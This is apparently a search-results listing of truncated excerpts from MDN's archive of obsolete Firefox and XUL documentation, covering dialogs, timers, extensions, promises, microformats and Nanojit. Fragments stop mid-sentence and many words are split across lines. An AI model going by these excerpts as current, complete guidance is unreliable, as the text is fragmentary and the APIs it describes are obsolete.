... that two objects are not equal, using !=: assert.notequal(1, 2, "test that one is not two"); parameters actual : object the actual result. expected : object the expected result. message : string optional message to log, providing extra information about the test. deepequal(actual, expected, message) tests that two objects have a deep equality relation. deep equality is defined in the co
mmonjs specification for assert, item 7, which is quoted here: all identical values are equivalent, as determined by ===. if the expected value is a date object, the actual value is equivalent if it is also a date object that refers to the same time. other pairs that do not both pass typeof value == "object", equivalence is determined by ==. for all other object pairs, including array objects...
Dialogs and Prompts - Archive of obsolete content
tons attribute of dialog. they are: accept — ok button. cancel — cancel button. disclosure — more info button. help — help button (doesn't work in thunderbird 1.0 bug 256915) extra1, extra2 — two buttons without any predefined labels or meaning. extra2 is positioned at the left side of the dialog (by default). for each of these buttons you can set their label, accesskey and onco
mmand handler by adding buttonlabel<buttonname>, buttonaccesskey<buttonname> and ondialog<buttonname> attributes to the dialog element. for example, to add an apply button to your dialog, use the following code: <dialog xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" id="..." buttons="accept,cancel,extra1" ondialogaccept="onaccept();" ondialogextra1="onapply();" butt...
... is the <dialog> element and dlgtype is one of the six button types listed above. explicit if you are not satisfied with the layout of predefined buttons in dialog, you can put explicit button elements in your xul file and add a dlgtype attribute to them. valid values for dlgtype are the six button types listed above. be sure to use ondialog* attributes on dialog element instead of putting onco
mmand on the button with dlgtype, because button's onco
mmand is executed only when the button is pressed, and ondialog* handlers are executed for keyboard and other events too. example: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <dialog xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" ondialogaccept="alert('ok!');"> <hbox> ...
...t looks like, open options (or preferences) dialog in firefox or thunderbird (v1.0 and earlier only). the header to the right of the sections buttons is made with <dialogheader>: <dialogheader title="general" description="whatever"/> note, that you should only use this element in a <dialog>, because otherwise it may be not styled properly. (although it seems to work in <window> as well). progra
mmatic button access if you want to access the accept ("ok") and cancel buttons from script, use this: // disable the ok and cancel btns document.documentelement.getbutton("accept").disabled = true; document.documentelement.getbutton("cancel").disabled = true; links dialog.xml — xbl bindings for <dialog> and <dialogheader> elements. passing parameter to a dialog and getting return values ...
Label and description - Archive of obsolete content
long-running text is a text node child of <description/> or <label/> (i.e., do not specify the long-running text in the value attribute of these elements). the default style for these xul elements includes white-space: wrap;. this reduces all whitespace chunks (including newlines) to single spaces. text is permitted to wrap. <description>i am your father's brother's nephew's cousin's former roo
mmate. what's that make us? absolutely nothing!</description> with white-space: pre; all whitespace, including newlines, is rendered literally. text cannot wrap automatically but can still be achieved with <html:br/> if desired. <description style="white-space: pre-wrap;">i am your father's brother's nephew's cousin's former roo
mmate. what's that make us? absolutely nothing!</description> with ...
...e us? absolutely nothing!</description> with white-space: pre-wrap; all whitespace is rendered literally, but text is additionally permitted to wrap at spaces. note: prior to firefox 3, it was necessary to use -moz-pre-wrap instead of -pre-wrap. you may wish to use both for backward compatibility. ...
...ription style="white-space: pre;">i am your father's brother's nephew's cousin's former roo
mmate. what's that make us? absolutely nothing!</description> text can also be made to wrap by inserting an <html:br/> element regardless of the css style, but this creates a hard-break that does not change as parent elements resize. <description>i am your father's brother's nephew's cousin's former roo
mmate.<html:br/> what's that make us?<html:br/> absolutely nothing!</description> using labels as anchors its possible to make a label look and act like an html <a> tag: <label class="text-link" href="http://whatever.com" value="click here to go to whatever"/> "text-link" is a built-in, predefined class. note: if running in a xulrunner application add the following preferences to your default...
Rosetta - Archive of obsolete content
they usually deal with – imagine, for example, the meaning of a c pointer within a html page! nevertheless, the increasing computational power of modern browsers together with the introduction of typed arrays in ecmascript allow us, in theory, to build full virtual machines in pure ecmascript. therefore, it is also possible, in theory, to use ecmascript for a smaller task: parsing exotic progra
mming languages (i.e., creating compilers). beyond ecmascript this is not the place for showing a full compiler written in ecmascript. we can show, however, a possible way to start from. the following code is nothing but the base for an extensible collection of compilers. but by default, no compilers are loaded. it relies on the fact that unrecognized mime types will be simply ignored: this allows...
...ork is released under the gnu public license, version 3 or later. |*| http://www.gnu.org/licenses/gpl-3.0.html |*| |*| syntax: |*| |*| rosetta.appendcompiler([ "text/x-csrc", "text/x-c" ], yourcompiler); |*| \*/ var rosetta = new (function () { function createscript (oscript, oxhr200) { var smimetype = oscript.getattribute("type").tolowercase(), obaton = document.createco
mment(" the previous code has been automatically translated from \"" + smimetype + "\" to \"text/ecmascript\". "); if (!odicts.hasownproperty(smimetype)) { alert("rosetta.translatescript() \u2013 unknown mime-type \"" + smimetype + "\": script ignored."); return; } var ocompiled = document.createelement("script"); oscript.parentnode.insertbefore(obaton, oscript); os...
...o.h> int main () { printf("hello world number 1!\n"); return 0; } </script> <script type="text/x-c" src="example.c"></script> </head> <body> <p>lorem ipsum</p> <script type="text/javascript"> rosetta.translateall(); </script> </body> </html> example.c: c example #include <stdio.h> int main () { printf("hello world number 2!\n"); return 0; } if creating a compiler for the c progra
mming language, as in the example above, can really look a huge task, there are many dialects of ecmascript which could be easily translated to standard ecmascript. the previous example shows a possible solution for all these cases, from the simplest to the hardest one. mime types here is a short list of the mime types associated to some progra
mming languages: language mime type ...
JavaScript timers - Archive of obsolete content
a block of javascript code is generally executed synchronously. but there are some javascript native functions (timers) which allow us to delay the execution of arbitrary instructions: settimeout() setinterval() seti
mmediate() requestanimationframe() the settimeout() function is co
mmonly used if you wish to have your function called once after the specified delay. the setinterval() function is co
mmonly used to set a delay for functions that are executed again and again, such as animations. the seti
mmediate() function can be used instead of the settimeout(fn, 0) method to execute heavy operations in ie. the requestanimationframe() function tells the browser that you wish to perform an animation and requests that the browser schedule a repaint of the window for the next animation fram...
...ame() function tells the browser that you wish to perform an animation and requests that the browser schedule a repaint of the window for the next animation frame. documentation settimeout() calls a function or executes a code snippet after specified delay. setinterval() calls a function or executes a code snippet repeatedly, with a fixed time delay between each call to that function. seti
mmediate() calls a function i
mmediately after the browser has completed other operations, such as events and display updates. cleartimeout() clears the delay set by settimeout(). clearinterval() cancels repeated action which was set up using setinterval(). cleari
mmediate() cancels the i
mmediate actions, just like cleartimeout() for settimeout(). using javascript timers within animations (jav...
...here are some code snippets which simplify and abstract the management of daemons. ...
Code snippets - Archive of obsolete content
general examples and demos from mdn articles a collection of examples and demos from articles. ...
...use another scripting language you might expect that most of the browsers will not recognize it. nevertheless, the increasing computational power of modern browsers together with the introduction of typed arrays in ecmascript allow us, in theory, to build full virtual machines in pure ecmascript. therefore, it is also possible, in theory, to use ecmascript for a smaller task: parsing exotic progra
mming languages (i.e., creating compilers). this snippets shows a possible way to start from. browser-oriented code tabbed browser code (firefox/seamonkey) basic operations, such as page loading, with the tabbed browser, which is the heart of mozilla's browser applications cookies reading, writing, modifying, and removing cookies page loading code used to load pages, reload pages, and list...
...t from. browser-oriented code tabbed browser code (firefox/seamonkey) basic operations, such as page loading, with the tabbed browser, which is the heart of mozilla's browser applications cookies reading, writing, modifying, and removing cookies page loading code used to load pages, reload pages, and listen for page loads interaction between privileged and non-privileged code how to co
mmunicate from extensions to websites and vice-versa. downloading files code to download files, images, and to monitor download progress password manager code used to read and write passwords to/from the integrated password manager bookmarks code used to read and write bookmarks javascript debugger service code used to interact with the javascript debugger service svg general general i...
How to convert an overlay extension to restartless - Archive of obsolete content
32-bit integers, or fun stuff like 48-bit integers...
...32-bit integers, or fun stuff like 48-bit integers). ...
...tartup: services.scriptloader.loadsubscript("chrome://myaddon/content/defaultprefs.js", {pref:setdefaultpref} ); that's it. once you've got the machinery to load and save preferences without having to jump through the various pref type hoops the actual preferences api sends you through, loading the actual preferences file is one line. i'd generally still reco
mmend using the type specific functions for each pref individually, but to load the defaults just use the generic functions above and it's quite simple. the other generic functions are provided above in case you need them. unfortunately, the built in apis for dealing with preferences are missing this basic stuff, and its plain text handling doesn't work with unicode properly. step 4a: another way t...
Interaction between privileged and non-privileged pages - Archive of obsolete content
where the event originated. ...
...; } return callback(null); } } something.listen_request(something.callback); message passing in chromium sending structured data the above mechanisms use element attributes and are thus only strings. you may want to transfer objects. gecko prevents chrome to access custom object properties added by the content, because that can create security holes. a workaround is to treat the co
mmunication between webpage and chrome as a normal network protocol and use xml. with element attributes and e4x, this is fairly easy. you do need to convert your data to/from e4x objects, though. and your chrome needs to carefully check every value passed (you need to do that either way). var targetdoc = null; function onload() { var iframe = document.getelementbyid("contentiframe"); targetd...
...new xml(event.target.getattribute("eventdatafrompage")); } security notes never invoke the web page's javascript functions from your extension - doing this increases the chance of creating a security hole, where a malicious web page can trick the browser to run its code with extended privileges (just like your extension) with, for example, the ability to delete local files. it is highly reco
mmended to check the source of the event (via event.target.ownerdocument.location) and make your extension ignore any events from pages not from your server. resources mozillazine forum discussion co
mmunication between html and your extension ...
Jetpack Processes - Archive of obsolete content
jetpack processes are created by components that implement the nsijetpackservice interface, and their parent chrome process co
mmunicates with them via the nsijetpack interface. note: the jetpack service, provided by nsijetpackservice, is not included by default in firefox 4. prior to firefox 12, it could be included in custom builds by using enable_jetpack_service at compile time. however, the service has been removed entirely as of firefox 12. these processes are relatively lightweight, do not have access to xpcom, and can innately do little other than compute. messaging facilities that allow them to co
mmunicate with their parent chrome process are the only means by which they can be endowed with any real power. note: the above statement is not currently true, as js-ctypes is now pr...
... attaching them to the global scope as properties. evalinsandbox(asandbox, ascript) evaluates the given script contents in the given sandbox's global scope. at minimum, javascript 1.8.1 is used. individual lines of the form //@line 1 "foo.js" can be used to specify filename and line number information for debugging purposes. gc() synchronously performs garbage collection. handles messages that co
mmunicate between the browser and jetpack process may contain only serializable (json) data and handles. a handle can be used to provide context for messages. either the browser or the jetpack implementation may create one. a handle keeps any arbitrary properties attached to it alive, but those properties are not transmitted across the process boundary. these arbitrary properties are the primary mea...
...s throws it away, it will not be garbage collected unless the other process explicitly does something to indicate that it is no longer needed. if that other process does not do something explicit and simply removes all references to it, the handle remains rooted yet unreachable in both processes and a memory leak is created. to prevent such memory leaks, a process can either invalidate a handle, i
mmediately preventing it from being passed as a message argument, or it can unroot the handle, allowing it to be passed as a message argument until all references to it are removed, at which point it is garbage collected. handles have the following native methods and properties: invalidate() invalidates the handle. either process may invalidate a handle when it is no longer useful. createhandle() c...
Chapter 1: Introduction to Extensions - Archive of obsolete content
emura-san is a co-author of firefox 3 hacks (o'reilly japan, 2008.) introduction if you're reading this guide, you’ve probably used firefox before. ...
...script enables and disables javascript execution on a site-by-site basis. web application integration extensions fixme: update this. the use the apis of certain web applications to provide certain pieces of information. new feature extensions fixme: update this. extensions can add completely new features to firefox. this class of extension requires a greater level of knowledge and progra
mming ability. greasemonkey userchrome.js both of these provide an environment for running user scripts (javascript) in firefox itself, where the scripts can target specific websites. adblock plus blocks the display of unwanted advertisements on web pages. all-in-one gestures adds mouse-gesture functionality. application level extensions fixme: update this. these are sophisticated ex...
...ions, using css in user style sheets and javascript/dom in user scripts (these depend on stylish, greasemonkey, and userchrome.js). in addition to css and javascript, extensions can take advantage of xul and xpcom technologies for more sophisticated features. themes, which alter firefox's appearance, are a kind of add-on. in order to create an extension, you need an idea and just a little progra
mming ability. the following chapters explain in detail the extension-writing techniques of some of japan's leading extension authors. we encourage you to try your hand at it as well. 1 one of the authors of this special edition, piro, is world-famous as one of the original developers. « previousnext » ...
Chapter 4: Using XPCOM—Implementing advanced processes - Archive of obsolete content
mr. shimoda is a co-author of firefox 3 hacks (o'reilly japan, 2008). ...
...as search keys. if you’re having trouble with any of the details of the interface, it is helpful to search on the source code for usage examples within firefox. note: to look at the firefox 3 source code, choose "firefox 3" in the starting points list. for firefox 3.5 choose "mozilla 1.9.1." for the current development trunk of firefox, choose "mozilla central" and for thunderbird, choose "co
mm. central". calling xpcom from xpconnect use the xpconnect technology to use xpcom in javascript. listing 1 shows how you can use xpconnect to acquire references to xpcom services and create new xpcom objects. each component is identified with a contract id in the form @domain_name/module_name/component_name;version_number, and implements one or more interfaces that determine what functions can...
...['@mozilla.org/appshell/window-mediator;1'] .getservice(components.interfaces.nsiwindowmediator); var browser = windowmediator.getmostrecentwindow('navigator:browser'); alert(browser.gbrowser.mtabs.length); get overview of all windows with a certain type use the nsiwindowmediator.getenumerator() method to get an overview of all windows that have a certain type. listing 5 shows how to get a su
mmary of all browser windows in firefox and then close them. listing 5: closing all browser windows var browsers = windowmediator.getenumerator('navigator:browser'); var browser; while (browsers.hasmoreelements()) { browser = browsers.getnext().queryinterface(components.interfaces.nsidomwindowinternal); browser.browsertrytoclosewindow(); } this method returns an overview of the specified wind...
JavaScript Object Management - Archive of obsolete content
they are better done in the chrome. as a general guideline, we keep all of our business logic in jsm, available through service objects, and chrome scripts are limited to handle presentation logic. we handle most of our code through static objects, singleton objects that don't require instantiation. but it is sometimes necessary to define classes and be able to create multiple instances. co
mmon cases include interacting with a local database or a remote api. data will often be translated into arrays of entities, and those are better represented through classes. one way to define a class is as follows: /** * user class. represents a hello world user (whatever that may be). */ 〈modulenamespace〉.user = function(aname, aurl) { this._name = aname; this._url = aurl; }; /** * ...
...ed a fictitious user class for the hello world extension. using the function keyword to define a class is odd, but this is just the javascript way: functions are also objects. the definition of the class acts as a constructor as well, and then you can define all other members using the prototype attribute. in this case we defined "getter" properties for the name and url members. this way we have i
mmutable instances of our class. well, only if consumers of the class play nice and don't change anything they shouldn't. creating an instance and using it is simple enough: let user = new 〈modulenamespace〉.user("pete", "http://example.com/pete"); window.alert(user.name); this is something you can do with js in general. you can use it in jsm, chrome, even on regular web pages. since ent...
...es tend to be used all throughout an application, we think that having those classes defined at the module level is the best approach. jsm is the best solution to handle objects that are window-independent. in the following section we'll discuss xpcom, which is an older alternative to jsm and one of the foundations of mozilla applications. you shouldn't skip that section because there are many co
mmon situations in extension development where you'll have to use xpcom, maybe even implement xpcom components of your own. « previousnext » this tutorial was kindly donated to mozilla by appcoast. ...
XUL School Tutorial - Archive of obsolete content
xul school is a comprehensive add-on development tutorial, focusing on firefox extension development. it is reco
mmended that you read through all of it at least once. while firefox changes rapidly, the content in this tutorial should be up to date and valid. ...
...east once. while firefox changes rapidly, the content in this tutorial should be up to date and valid. ...
...ding events and co
mmands adding windows and dialogs adding sidebars user notifications and alerts intermediate functionality intercepting page loads connecting to remote content handling preferences local storage advanced topics the box model xpcom objects observer notifications custom xul elements with xbl mozilla documentation roadmap useful mozilla co
mmunity sites appendices appendix a: add-on performance appendix b: install and uninstall scripts appendix c: avoiding using eval in add-ons appendix d: loading scripts appendix e: dom building and html insertion appendix f: monitoring dom changes the xul school project was developed by appcoast (formerly glaxstar). the project is now published here following its sharing l...
Performance best practices in extensions - Archive of obsolete content
n have a big impact. general performance tips avoid creating memory leaks memory leaks require the garbage collector and the cycle collector to work harder, which can significantly degrade performance. zombie compartments are a particular kind of memory leak that you can detect with minimal effort. see the zombie compartments page, especially the proactive checking of add-ons section. see co
mmon causes of memory leaks in extensions for ways to avoid zombie compartments and other kinds of leaks. as well as looking for these specific kinds of leaks, it's worth exercising your extension's functionality and checking the contents of about:memory for any excessive memory usage. for example, bug 719601 featured a "system principal" javascript compartment containing 100s of mbs of memory, wh...
...s two methods for lazily loading things: definelazygetter() defines a function on a specified object that acts as a getter which will be created the first time it's used. see examples. definelazyservicegetter() defines a function on a specified object which acts as a getter for a service. the service isn't obtained until the first time it's used. look through the source for examples. many co
mmon services are already cached for you in services.jsm. use asynchronous i/o this cannot be stressed enough: never do synchronous i/o on the main thread. any kind of i/o on the main thread, be it disk or network i/o, can cause serious ui responsiveness issues. never use synchronous xmlhttprequests. netutils.jsm provides helpers for asynchronous reading and copying of files. never access a ...
...including mouseover, mouseout, mouseenter, mouseexit, and especially mousemove. these events happen with high frequency, so their listeners can trivially create very high cpu overhead. when these events cannot be avoided, computation during the listeners should be kept to a minimum and real work throttled. the listeners should be added to the most specific element possible, and removed when not i
mmediately necessary. avoid animated images animated images are much more expensive than generally expected, especially when used in xul tree elements.. consider using chrome workers you can use a chromeworker to execute long running tasks or do data processing. ...
Security best practices in extensions - Archive of obsolete content
the difference will be clearly flagged. ...
...this approach is preferable because it provides users with a familiar interface for interacting with logins, via the firefox password manager. when users clear logins using the "clear recent history" option, it will include your extension's data. apis and other data handling web content is more than just pages, and more and more add-ons are interacting with web services via an application progra
mming interface (api). many of the items talked about so far in this document apply in this sphere, but here are some additional tips: api providers should use the https protocol, which provides better protection for data passed over the network. json has become a popular data format for return formats for web services. be sure to read using native json to find out the correct way to handle it. ...
...ed locally, to be injected into the web content context via the sandbox. many extensions use the greasemonkey compiler to bundle it in their extension for convenience. if you choose to do so, beware when making edits to the bundled files so as not to break the well thought out security architecture. third-party javascript in the context of web sites, using javascript written by others is very co
mmon. it is not unheard of in add-ons as well, and can provide a useful way to avoid code duplication and accelerate development. this article is about websites, but gives some insights into the general risks. when you do include other scripts, there are a number of things you can do to ensure their integrity and safety for users. the first is to always get it from a trusted source. another thing yo...
Promises - Archive of obsolete content
these apis allow asynchronous operation to be achieved with a coding style similar to synchronous variants. the following examples make use of the task api, which harnesses generator functions to remove some of the syntactic clutter of raw promises, such that asynchronous promise code more closely resembles synchronous, procedural code. ...
...stamp' \ order by value desc limit 1"); latesttimestamp = row.getresultbyindex(0); } finally { // make sure to close the database when finished. // failure to do this will prevent firefox from shutting down // cleanly. yield db.close(); } }); promise wrappers and helpers the following are some example promise-based wrappers for co
mmon callback-based asynchronous apis. addonmanager var aom = { __proto__: addonmanager, addon: function addon(addon) { if (!(addon && "getdatadirectory" in addon)) return addon; return { __proto__: addon, getdatadirectory: function getdatadirectory() { return new promise((accept, reject) => { return...
... this.data = json.parse(json.stringify(default_)); } // create a saver to write our json-stringified data to our // path, at 1000ms minimum intervals. this.saver = new deferredsave(this.path, () => json.stringify(this.data), 1000); return this; }.bind(this)); } /** * i
mmediately save the data to disk. * * @return {promise} a promise which resolves when the file's contents * have been written. */ jsonstore.prototype.flush = function () { return this.saver.flush(); }; /** * queue a save operation. the operation will co
mmence after a full * second has passed without further calls to this method. * * @return {promise} a promise which resolves when the fil...
Creating a dynamic status bar extension - Archive of obsolete content
rimary functions: startup() and refreshinformation(). the refreshinformation() function contains another function, called inforeceived(). the following sections will examine these one by one. startup() the startup() function is called when a new browser window is opened. we end up reloading data from each of the windows once in 10 minutes - fixing this by creating a js component responsible for co
mmunication with the server is a good idea for one of the future articles startup: function() { this.refreshinformation(); window.setinterval(this.refreshinformation, 10*60*1000); }, this starts by calling our refreshinformation() function, which is responsible for fetching and displaying stock ticker information in the status bar panel. we do this so that upon loading, the stock information is...
...quest.open('get', fullurl, true); httprequest.onload = inforeceived; httprequest.send(null); } the httprequest variable will contain an xmlhttprequest object. this object is used to configure and run an http request on a web server, which we'll use to fetch the stock quote data. the fullurl variable is the complete url to use when requesting a stock quote. in this case, we're using yahoo's co
mma-separated values return to fetch easily-parsed stock quote data for google (ticker symbol goog). refreshinformation() embeds another function, inforeceived(), which we'll look at separately shortly. the first thing we do is create a new xmlhttprequest object to use for processing our request. we open the request, specifying that we wish to perform an http "get" co
mmand with the url fullurl. the ...
...is so that we can make changes to the status bar panel itself. we then fetch the result returned by the web server into the variable output from the xmlhttprequest.responsetext property. the text we receive back from the server looks something like this: "goog",414.20,"5/1/2006","1:36pm",-3.74,417.85,419.44,412.19,4760215 we then parse the text. we use the split() string function to split the co
mma-separated value string into its individual parts, with each field in a separate element in the array fieldarray. at index 0 is the ticker symbol itself, which we don't need since we know which stock we're looking at. the status bar panel's label is set to indicate the current value of the stock, which is stored in fieldarray, by setting the samplepanel.label property. we then set the tooltip for...
MozOrientation - Archive of obsolete content
gardless of orientation, and would only change when being accelerated. in firefox versions 3.6, 4, and 5 gecko utilized mozorientation which was also built to support orientation data but with different apis from the specified deviceorientationevent. ...
...ould only change when being accelerated. in firefox versions 3.6, 4, and 5 gecko utilized mozorientation which was also built to support orientation data but with different apis from the specified deviceorientationevent. ...
... mozorientation which was also built to support orientation data but with different apis from the specified deviceorientationevent. ...
Defining Cross-Browser Tooltips - Archive of obsolete content
learn how to define "tooltips" in a cross-browser, standards-friendly way. authors are used to using the alt attribute to create "tooltips" in web browsers. the classic example is a "tooltip" of an image; when the user pauses the mouse pointer over an image, the contents of the alt attribute are displayed as a "tooltip." gecko-based browsers such as mozilla, netscape 6+, and compuserve 7 do not support this behavior. see bug 25537 for a lengthy, sometimes passionate discussion of gecko's behavior in this regard. ...
...elements that have an alt attribute but no title attribute, and inserts a title attribute with the same content as the alt attribute. a variant on christian's original suggestion was made by "ct" in bug 25537. a similar solution can be employed for web servers that are based on content management systems, including microsoft's active server pages, which make such substitutions fairly simple. reco
mmendations use the title attribute (instead of alt) to ensure desired tooltip behavior in multiple browsers. authors able to run content-rewriting proxy servers can use them to dynamically alter outgoing content to ensure both the title and alt attributes are present. related links html 4.01 specification: 13.8 how to specify alternate text html 4.01 specification: 7.4.3 the title attribu...
...r in multiple browsers. authors able to run content-rewriting proxy servers can use them to dynamically alter outgoing content to ensure both the title and alt attributes are present. related links html 4.01 specification: 13.8 how to specify alternate text html 4.01 specification: 7.4.3 the title attribute bug 25537 original document information author(s): eric a. meyer, netscape co
mmunications last updated date: published 16 aug 2002 copyright information: copyright © 2001-2003 netscape. all rights reserved. note: this reprinted article was originally part of the devedge site. ...
Automated testing tips and tricks - Archive of obsolete content
t the browser on all platforms window.close() of the last open window does not quit the application on mac http://people.mozilla.com/~davel/scripts/ - look at quit.js and quit.xul install manifest file in appdir/chrome to map chrome://tests/content to directory containing quit.js and quit.xul example: content tests file:///users/davel/work/tests/ start app with co
mmand line flag -chrome chrome://tests/content/quit.xul how to create a new profile from the co
mmand line first, use the -createprofile co
mmand line flag to add a profile entry to profiles.ini and populate the new profile directory with a prefs.js file firefox-bin -createprofile "testprofile ${profile_dir}/testprofile" next, start firefox to populate the new profile...
...s file firefox-bin -createprofile "testprofile ${profile_dir}/testprofile" next, start firefox to populate the new profile directory with the rest of the default settings firefox-bin -p testprofile -chrome chrome://tests/content/quit.xul<code> the above process may exit before the profile is completely created. ...
...ofile_dir}/testprofile" next, start firefox to populate the new profile directory with the rest of the default settings firefox-bin -p testprofile -chrome chrome://tests/content/quit.xul<code> the above process may exit before the profile is completely created. ...
Making it into a static overlay - Archive of obsolete content
<!-- navigator --> <script type="application/javascript" src="chrome://navigator/content/browser.js"/> <script ...
... <!-- navigator --> <script type="application/javascript" src="chrome://navigator/content/browser.js"/> <script type="application/javascript" src="chrome://navigator/content/navigat...
...xul-overlay href="chrome://navigator/content/navextraoverlay.xul"?> <?xul-overlay href="chrome://navigator/content/linktoolbaroverlay.xul"?> <?xul-overlay href="chrome://navigator/content/tinderstatusoverlay.xul"?> <?xul-overlay href="chrome://co
mmunicator/content/conten...extoverlay.xul"?> <?xul-overlay href="chrome://co
mmunicator/content/sideba...baroverlay.xul"?> <?xul-overlay href="chrome://co
mmunicator/content/co
mmunicatoroverlay.xul"?> <?xul-overlay href="chrome://co
mmunicator/content/bookma...rksoverlay.xul"?> ... <!-- navigator --> <script type="application/javascript" src="chrome://navigator/content/browser.js"/> <script type="application/javascript" src="chrome://navigator/content/navigator.js"/> <script type="application/javascript" src="chrome://navigato...
Creating a hybrid CD - Archive of obsolete content
9660 -o loop=/dev/loop3,blocksize=1024 umount /mnt/cdrom here is the hfs mapping that i used. the creator "moss" is for netscape 4.x and "mozz" is used for mozilla. it is used as the creator type for readme and other text files because it can handle unix and windows linebreaks, but teachtext cannot. ...
... raw 'tvod' 'moov' "quicktime movie" .bin raw 'sitx' 'bina' "mac binary" .h ascii 'cwie' 'text' "c/c++ header file" .c ascii 'cwie' 'text' "c source file" .cp ascii 'cwie' 'text' "c++ source file" .cpp ascii 'cwie' 'text' "c++ source file" .exp ascii 'cwie' 'text' "symbol export file" .mcp raw 'cwie' '
mmpr' "codewarrior project file" .r ascii 'mps ' 'text' "rez file" .html ascii 'moss' 'text' "html file" .htm ascii 'moss' 'text' "html file" .txt ascii 'moss' 'text' "text file" readme ascii 'moss' 'text' "text file" changes ascii 'moss' 'text' "text file" install ascii 'moss' 'text' "text file" license ascii 'moss' 'text...
... ...
Dehydra Function Reference - Archive of obsolete content
see the dehydra object reference for details on the available object properties. process_type(type) dehydra calls this for each class, struct, enum, union, and typedef declaration. process_type is called after process_function is called for all the member functions. type is a type object representing the type that was declared. process_function(decl, body) dehydra calls this for each function definition (declarations without bodies are not included), including both top-level functions, class member functions, and inline class member functions. ...
... are compiled with debug macro defined. require() example require({strict:true, gczeal:2}) if (require().werror) print("werror is set") warning([code,] msg [, loc]) print a warning message using the gcc warning mechanism. if -werror is specified this will cause compilation to fail. optional: code is an integer parameter that allows warnings to be enabled(-wfoo) and disabled(-wno-) on the gcc co
mmandline. this parameter is used when the first argument to warning() is an integer. it is not possible to define new warnings in dehydra, thus one has to figure out a warning code from an existing warning and hijack it for ulterior purposes. msg is a string to be presented as a gcc warning optional: loc is the location that should be reported for the warning. if no location is provided, the locati...
...-fplugin-arg="foo.js a b c" would run foo.js with ["a", "b", "c"] arguments array. this page was auto-generated because a user created a sub-page to this page. ...
Developing New Mozilla Features - Archive of obsolete content
for them to spend a lot of time with you. in some cases the developers may be in error and staff will work to make this clear and get you connected. in other cases, mozilla.org staff may agree with the developers that it does not make sense for them to spend much time assisting with your project. this is a painful setting and we hope it doesn’t happen often. but our developers are a precious co
mmodity and their time is probably the most important resource we have. it’s also possible that a developer is over-worked or on vacation or just drops the ball. obviously, we’ll never reach perfection but we need to reduce these occurrences as much as possible to have a successful project. if this happens to you, let us know. we’ll talk to the developers in question, find others to help you,...
...gnate someone on your team as the liaison to mozilla.org for project management issues. review and super-review take time improving the code as requested by the reviewers takes time. poor quality code also takes time. we’ve opted to spend the time improving code consistency before check-in when the pain is limited to the developers and the reviewers rather than everyone in the tree. we’re co
mmitted to this style of development, but recognize that vigilance is necessary to make sure newcomers and their features don’t get lost. if you’re having a particularly bad experience or if you’ve got suggestions on how to improve our process, please let mozilla.org staff know. original document information author(s): mitchell baker last updated date: october 30, 2004 copyright informa...
... get lost. if you’re having a particularly bad experience or if you’ve got suggestions on how to improve our process, please let mozilla.org staff know. original document information author(s): mitchell baker last updated date: october 30, 2004 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative co
mmons license | details. ...
Downloading Nightly or Trunk Builds - Archive of obsolete content
so to figure out how to download a cutting edge or bleeding edge or 'beta' version of firefox, you need to look for a "build" (which is developer-speak for the packaged files you can download) of 1.9.1 (the number of the underlying 'platform' called 'gecko' or 'mozilla' that firefox uses). ...
...so to figure out how to download a cutting edge or bleeding edge or 'beta' version of firefox, you need to look for a "build" (which is developer-speak for the packaged files you can download) of 1.9.1 (the number of the underlying 'platform' called 'gecko' or 'mozilla' that firefox uses). ...
...corresponds to mozilla 1.9.0; firefox 3.5 corresponds to mozilla 1.9.1; firefox 3.6 corresponds to mozilla 1.9.2. however, the numbers are not used all of the time. sometimes the firefox releases are described by a code name. for example "shiretoko" is used for firefox 3.5. and very often neither names nor numbers are used, but rather special words indicating relative order are used. the three co
mmon cases are "trunk", meaning the most recent version of mozilla; "branch", meaning the version before trunk (though it can be any version before trunk); and "next", meaning a possible version in the future. so, if you are looking for the cutting edge firefox, you probably want a mozilla branch nightly build, that is, look for a mozilla thing (not a firefox thing), not the breaky one on trunk, bu...
Using microformats - Archive of obsolete content
firefox 3 implements a global microformats object that provides access to microformats. this object and its api make finding and reading microformats easy to do. loading the microformats api the microformats object is created using the new javascript script loader added to firefox 3. ...
... to firefox 3. to use the api, you need to first load the object: components.utils.import("resource://gre/modules/microformats.js"); once you've loaded the microformats api, you can manage microformats using the methods listed here; for information about parsing microformats, see parsing microformats in javascript. predefined microformats firefox 3 provides definitions implementing several co
mmon microformats: adr represents an address (such as a street or mailing address). geo represents a geographical location using latitude and longitude. hcard represents contact information for a person. hcalendar represents a calendar appointment entry. tag used to add tags to other microformats. methods add() adds a new microformat to the microformat module. note: if a microformat...
...format by the specified name already exists, it is replaced by the new one. add(name, definition); parameters name the name of the microformat to add to the microformat module. definition a javascript structure describing the microformat. see describing microformats in javascript for details. count() counts the number of microformats in a document that match specified criteria. var nu
mmicroformats = microformats.count(name, rootelement, options); parameters name the name of the microformat to count. rootelement required. the dom element at which to begin the search. if you want to search the entire document, specify content.document. options optional. if provided, this is a javascript object that contains zero or more of the following flags: recurseexternalframes ...
Nanojit - Archive of obsolete content
buf->names = new (*alloc) lirnamemap(*alloc, fragmento->labels); #endif // create a fragment to hold some native code. fragment *f = fragmento->getanchor((void *)0xdeadbeef); f->lirbuf = buf; f->root = f; // create a lir writer lirbufwriter out(buf); // write a few lir instructions to the buffer: add the first parameter // to the constant 2. out.ins0(lir_start); lins *two = out.insi
mm(2); lins *firstparam = out.insparam(0, 0); lins *result = out.ins2(lir_add, firstparam, two); out.ins1(lir_ret, result); // emit a lir_loop instruction. it won't be reached, but there's // an assertion in nanojit that trips if a fragment doesn't end with // a guard (a bug in nanojit). lins *rec_ins = out.insskip(sizeof(guardrecord) + sizeof(sideexit)); guardrecord *guard = (guardrecord ...
... // an assertion in nanojit that trips if a fragment doesn't end with // a guard (a bug in nanojit). lins *rec_ins = out.insskip(sizeof(guardrecord) + sizeof(sideexit)); guardrecord *guard = (guardrecord *) rec_ins->payload(); memset(guard, 0, sizeof(*guard)); sideexit *exit = (sideexit *)(guard + 1); guard->exit = exit; guard->exit->target = f; f->lastins = out.insguard(lir_loop, out.insi
mm(1), rec_ins); // compile the fragment. compile(assm, f, *alloc verbose_only(, fragmento->labels)); if (assm->error() != none) { fprintf(stderr, "error compiling fragment\n"); return 1; } printf("compilation successful.\n"); // call the compiled function. typedef js_fastcall int32_t (*addtwofn)(int32_t); addtwofn fn = reinterpret_cast<addtwofn>(f->code()); printf("2 + 5 = %d\n", fn(...
